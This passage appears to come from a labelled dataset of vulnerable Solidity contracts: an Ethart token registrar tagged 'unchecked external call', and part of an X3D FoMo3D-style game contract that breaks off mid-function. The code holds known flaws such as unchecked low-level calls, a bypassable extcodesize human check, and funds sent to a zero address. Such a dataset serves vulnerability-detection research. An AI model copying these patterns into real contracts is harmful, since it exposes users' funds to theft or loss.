the piece's components to the message sender } contract Registrar { // Patron token ERC20 public variables string public constant symbol = ""ART""; string public constant name = ""Patron - Ethart Network Token""; uint8 public constant decimals = 18; uint256 _totalPatronSupply; event Transfer(address indexed _from, address _to, uint256 _value); event Approval(address indexed _owner, address _spender, uint256 _value); event Burn(address indexed _owner, uint256 _amount); // Patron token balances for each account mapping(address => uint256) public balances; // Patron token balances event NewArtwork(address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros); // Owner of account approves the transfer of an amount of Patron tokens to another account mapping(address => mapping (address => uint256)) allowed; // Patron token allowances // BEGIN ERC20 functions (c) BokkyPooBah 2017. The MIT Licence. function totalSupply() constant returns (uint256 totalPatronSupply) { totalPatronSupply = _totalPatronSupply; } // What is the balance of a particular account? function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } // Transfer the balance from owner's account to another account function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && _to != 0x0) // use burn() instead { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false;} } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to ""deposit"" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && _to != 0x0) // use burn() instead { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else {return false;} } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // END ERC20 functions (c) BokkyPooBah 2017. The MIT Licence. // Additional Patron token functions function burn(uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount) { balances[msg.sender] -= _amount; _totalPatronSupply -= _amount; Burn(msg.sender, _amount); return true; } else {throw;} } function burnFrom(address _from, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) { balances[_from] -= _value; allowed[_from][msg.sender] -= _value; _totalPatronSupply -= _value; Burn(_from, _value); return true; } else {throw;} } // Ethart variables mapping (bytes32 => address) public SHA256HashRegister; // Register of all SHA256 Hashes mapping (address => bool) public approvedFactories; // Register of all approved factory contracts mapping (address => bool) public approvedContracts; // Register of all approved artwork contracts mapping (address => address) public referred; // Register of all referrers (referree => referrer) used for the affiliate program mapping (address => bool) public cantSetReferrer; // Referrer for an artist has to be set _before_ the first piece has been created by an address struct artwork { bytes32 SHA256Hash; uint256 editionSize; string title; string fileLink; uint256 ownerCommission; address artist; address factory; bool isIndexed; bool isOuroboros;} mapping (address => artwork) public artworkRegister; // Register of all artworks and their details // An indexed register of all of an artist's artworks mapping(address => mapping (uint256 => address)) public artistsArtworks; // Enter artist address and a running number to get the artist's artwork addresses. mapping(address => uint256) public artistsArtworkCount; // A running number counting an artist's artworks mapping(address => address) public artworksFactory; // Maps all artworks to their respective factory contracts uint256 artworkCount; // Keeps track of the number of artwork contracts in the network mapping (uint256 => address) public artworkIndex; // An index of all the artwork contracts in the network address public owner; // The address of the contract owner uint256 public donationMultiplier; // Functions with this modifier can only be executed by a specific address modifier onlyBy (address _account) { require(msg.sender == _account); _; } // Functions with this modifier can only be executed by approved factory contracts modifier registerdFactoriesOnly () { require(approvedFactories[msg.sender]); _; } modifier approvedContractsOnly () { require(approvedContracts[msg.sender]); _; } function setReferrer (address _referrer) { if (referred[msg.sender] == 0x0 && !cantSetReferrer[msg.sender]) { referred[msg.sender] = _referrer; } } function Registrar () { owner = msg.sender; donationMultiplier = 100; } // allows the current owner to assign a new owner function changeOwner (address newOwner) onlyBy (owner) { owner = newOwner; } function issuePatrons (address _to, uint256 _amount) approvedContractsOnly { balances[_to] += _amount; _totalPatronSupply += _amount; } function setDonationReward (uint256 _multiplier) onlyBy (owner) { donationMultiplier = _multiplier; } function donate () payable { balances[msg.sender] += msg.value * donationMultiplier; _totalPatronSupply += msg.value * donationMultiplier; } function registerArtwork (address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros) registerdFactoriesOnly { if (SHA256HashRegister[_SHA256Hash] == 0x0) { SHA256HashRegister[_SHA256Hash] = _contract; approvedContracts[_contract] = true; cantSetReferrer[_artist] = true; artworkRegister[_contract].SHA256Hash = _SHA256Hash; artworkRegister[_contract].editionSize = _editionSize; artworkRegister[_contract].title = _title; artworkRegister[_contract].fileLink = _fileLink; artworkRegister[_contract].ownerCommission = _ownerCommission; artworkRegister[_contract].artist = _artist; artworkRegister[_contract].factory = msg.sender; artworkRegister[_contract].isIndexed = _indexed; artworkRegister[_contract].isOuroboros = _ouroboros; artworkIndex[artworkCount] = _contract; artistsArtworks[_artist][artistsArtworkCount[_artist]] = _contract; artistsArtworkCount[_artist]++; artworksFactory[_contract] = msg.sender; NewArtwork (_contract, _SHA256Hash, _editionSize, _title, _fileLink, _ownerCommission, _artist, _indexed, _ouroboros); artworkCount++; } else {throw;} } function isSHA256HashRegistered (bytes32 _SHA256Hash) returns (bool _registered) { if (SHA256HashRegister[_SHA256Hash] == 0x0) {return false;} else {return true;} } function approveFactoryContract (address _factoryContractAddress, bool _approved) onlyBy (owner) { approvedFactories[_factoryContractAddress] = _approved; } function isFactoryApproved (address _factory) returns (bool _approved) { if (approvedFactories[_factory]) { return true; } else {return false;} } function withdrawFunds (uint256 _ETHAmount, address _to) onlyBy (owner) { if (this.balance >= _ETHAmount) { _to.transfer(_ETHAmount); } else {throw;} } function transferByAddress (address _contract, uint256 _amount, address _to) onlyBy (owner) { Interface c = Interface(_contract); c.transfer(_to, _amount); } function transferIndexedByAddress (address _contract, uint256 _index, address _to) onlyBy (owner) { Interface c = Interface(_contract); c.transferIndexed(_to, _index); } function approveByAddress (address _contract, address _spender, uint256 _amount) onlyBy (owner) { Interface c = Interface(_contract); c.approve(_spender, _amount); } function approveIndexedByAddress (address _contract, address _spender, uint256 _index) onlyBy (owner) { Interface c = Interface(_contract); c.approveIndexed(_spender, _index); } function burnByAddress (address _contract, uint256 _amount) onlyBy (owner) { Interface c = Interface(_contract); c.burn(_amount); } function burnFromByAddress (address _contract, uint256 _amount, address _from) onlyBy (owner) { Interface c = Interface(_contract); c.burnFrom (_from, _amount); } function burnIndexedByAddress (address _contract, uint256 _index) onlyBy (owner) { Interface c = Interface(_contract); c.burnIndexed(_index); } function burnIndexedFromByAddress (address _contract, address _from, uint256 _index) onlyBy (owner) { Interface c = Interface(_contract); c.burnIndexedFrom(_from, _index); } function offerPieceForSaleByAddress (address _contract, uint256 _price) onlyBy (owner) { Interface c = Interface(_contract); c.offerPieceForSale(_price); } function fillBidByAddress (address _contract) onlyBy (owner) // Fill a bid with an unindexed piece owned by the registrar { Interface c = Interface(_contract); c.fillBid(); } function cancelSaleByAddress (address _contract) onlyBy (owner) // Cancel the sale of an unindexed piece owned by the registrar { Interface c = Interface(_contract); c.cancelSale(); } function offerIndexedPieceForSaleByAddress (address _contract, uint256 _index, uint256 _price) onlyBy (owner) // Sell an indexed piece owned by the registrar. { Interface c = Interface(_contract); c.offerIndexedPieceForSale(_index, _price); } function fillIndexedBidByAddress (address _contract, uint256 _index) onlyBy (owner) // Fill a bid with an indexed piece owned by the registrar { Interface c = Interface(_contract); c.fillIndexedBid(_index); } function cancelIndexedSaleByAddress (address _contract) onlyBy (owner) // Cancel the sale of an unindexed piece owned by the registrar { Interface c = Interface(_contract); c.cancelIndexedSale(); } function() payable { if (!approvedContracts[msg.sender]) {throw;} // use donate () for donations and you will get donationMultiplier * your donation in Patron tokens. Yay! } // Semi uinversal call function for unforseen future Ethart network contract types and use cases. String format: ""(address,address,uint256,uint256,bool,string,bytes32)"" function callContractFunctionByAddress(address _contract, string functionNameAndTypes, address _address1, address _address2, uint256 _value1, uint256 _value2, bool _bool, string _string, bytes32 _bytes32) onlyBy (owner) { if(!_contract.call(bytes4(sha3(functionNameAndTypes)),_address1, _address2, _value1, _value2, _bool, _string, _bytes32)) {throw;} } }",./Dataset/unchecked external call (UC),7,7 2171.sol,"pragma solidity ^0.4.24; contract X3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 XCOMAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 XCOMAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 XCOMAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 XCOMAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract modularLong is X3Devents {} contract X3Dlong is modularLong, Ownable { using SafeMath for *; using NameFilter for string; using X3DKeysCalcLong for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x00E3A09444bC98686e34fc59E3bC517496E20B146a); string constant public name = ""X3D Long Official""; string constant public symbol = ""X3D""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; address private comBankAddr_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => X3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => X3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => X3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => X3Ddatasets.TeamFee) public fees_; mapping (uint256 => X3Ddatasets.PotSplit) public potSplit_; constructor() public { comBankAddr_ = address(0); fees_[0] = X3Ddatasets.TeamFee(30,6); fees_[1] = X3Ddatasets.TeamFee(43,0); fees_[2] = X3Ddatasets.TeamFee(56,10); fees_[3] = X3Ddatasets.TeamFee(43,8); potSplit_[0] = X3Ddatasets.PotSplit(15,10); potSplit_[1] = X3Ddatasets.PotSplit(25,0); potSplit_[2] = X3Ddatasets.PotSplit(20,20); potSplit_[3] = X3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { X3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { X3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { X3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { X3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { X3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { X3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { X3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { X3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit X3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.XCOMAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit X3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit X3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit X3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit X3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, X3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit X3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.XCOMAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, X3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit X3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.XCOMAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, X3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(X3Ddatasets.EventReturns memory _eventData_) private returns (X3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, X3Ddatasets.EventReturns memory _eventData_) private returns (X3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(X3Ddatasets.EventReturns memory _eventData_) private returns (X3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _XCOM = (_pot.mul(potSplit_[_winTID].XCOM)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_XCOM); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_XCOM); comBankAddr_.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.XCOMAmount = _XCOM; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / 